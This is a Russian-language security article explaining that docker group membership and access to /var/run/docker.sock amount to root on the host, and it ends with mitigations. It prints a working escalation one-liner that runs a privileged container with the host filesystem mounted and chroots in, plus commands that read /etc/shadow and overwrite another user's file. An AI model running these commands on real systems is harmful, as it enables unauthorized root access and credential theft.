Docker daemon (dockerd) — это фоновый процесс, управляющий контейнерами на хосте. Критическая особенность: демон всегда работает с правами root на хостовой системе. Сокет Docker (/var/run/docker.sock) является его основным интерфейсом управления — по сути, неаутентифицированным API-эндпоинтом.
Любой, кто может взаимодействовать с этим сокетом, получает возможность отдавать команды демону, а значит, обладает эффективным root-доступом к хосту.
Доступ к сокету через группу docker #
Доступ к сокету /var/run/docker.sock обычно предоставляется через членство в группе docker:
# Проверка прав на сокет
$ ls -la /var/run/docker.sock
srw-rw---- 1 root docker 0 Mar 15 10:00 /var/run/docker.sock
Как видно из вывода, сокет доступен для чтения/записи только пользователям из группы docker. Любой пользователь в этой группе получает полный контроль над Docker API.
Как пользователь попадает в группу docker? #
Обычно администратор добавляет пользователя в группу docker командой:
# Добавление текущего пользователя в группу docker
$ sudo usermod -aG docker $USER
# Добавление конкретного пользователя
$ sudo usermod -aG docker username
Важно: После выполнения этой команды пользователь получает возможность взаимодействовать с Docker сокетом без использования sudo. Многие администраторы делают это по незнанию, считая, что это просто удобный способ запускать контейнеры без пароля. Однако на самом деле это предоставляет пользователю root-доступ к системе.
Повышение привилегий в контексте Docker происходит, когда злоумышленник, получивший ограниченный доступ (например, внутрь контейнера или через API с ограниченными правами), использует этот канал для выполнения команд с root-привилегиями на хостовой машине.
Пример атаки: от пользователя в группе docker к root на хосте #
Рассмотрим, как пользователь user2, состоящий в группе docker, может получить полный контроль над системой.
Шаг 1. Проверяем, кто в группе docker
# Проверка пользователей в группе docker
grep docker /etc/group
# Вывод: docker:x:999:user2,user3,deploy
Шаг 2. Получаем root shell на хосте
Любой из этих пользователей может выполнить команду для получения root-доступа:
# Получить root шелл на хосте через Docker
docker run --rm -it --privileged --pid=host -v /:/host ubuntu:24.04 chroot /host bash
# Теперь мы root на хосте!
root@container:/# whoami
root
root@container:/# cat /etc/shadow
# Выходим из контейнера
root@container:/# exit
После этого пользователь становится полноценным root на хостовой системе с возможностью редактировать любые файлы, включая /etc/sudoers, /etc/passwd, /etc/shadow и т.д.
Шаг 3. Редактируем файлы других пользователей
Даже без получения полноценного root shell, пользователь из группы docker может редактировать файлы других пользователей:
# Редактируем файл пользователя user1 через монтирование
docker run --rm -it -v /home/user1/secret.txt:/tmp/secret.txt ubuntu:24.04 bash
# Внутри контейнера мы root и имеем доступ к файлу
root@container:/# echo "Новый пароль: 67890" > /tmp/secret.txt
# Выходим из контейнера
root@container:/# exit
Файл /home/user1/secret.txt будет изменен, несмотря на то, что у user2 нет прямых прав на его редактирование.
Почему это работает? #
- Docker daemon работает как root на хостовой системе
- Группа docker дает доступ к сокету
/var/run/docker.sock - При монтировании (
-v) Docker создает bind mount от хоста в контейнер - Внутри контейнера все операции выполняются от root (UID 0), который маппится на root хоста
Что может сделать злоумышленник? #
Пользователь с доступом к Docker сокету может:
- Читать и редактировать любые файлы на хосте (включая
/etc/shadow, SSH-ключи, конфиги) - Устанавливать вредоносное ПО и бэкдоры
- Красть конфиденциальные данные (AWS-креденциалы, пароли, сертификаты)
- Модифицировать системные файлы (
/etc/sudoers,/etc/passwd) - Получать постоянный доступ к системе
Резюме #
Доступ к сокету /var/run/docker.sock через членство в группе docker фактически предоставляет root-привилегии на хосте.
Команда sudo usermod -aG docker $USER — это не просто удобство, а предоставление root-прав. Администраторы должны осознавать этот риск и использовать альтернативные методы изоляции:
- Rootless Docker — запуск демона без root-прав
- Запуск контейнеров через
sudoбез добавления пользователей в группу docker - Использование плагинов авторизации для ограничения доступа к Docker API
Никогда не доверяйте пользователям, которые имеют доступ к Docker сокету, даже если они, казалось бы, ограничены в других правах.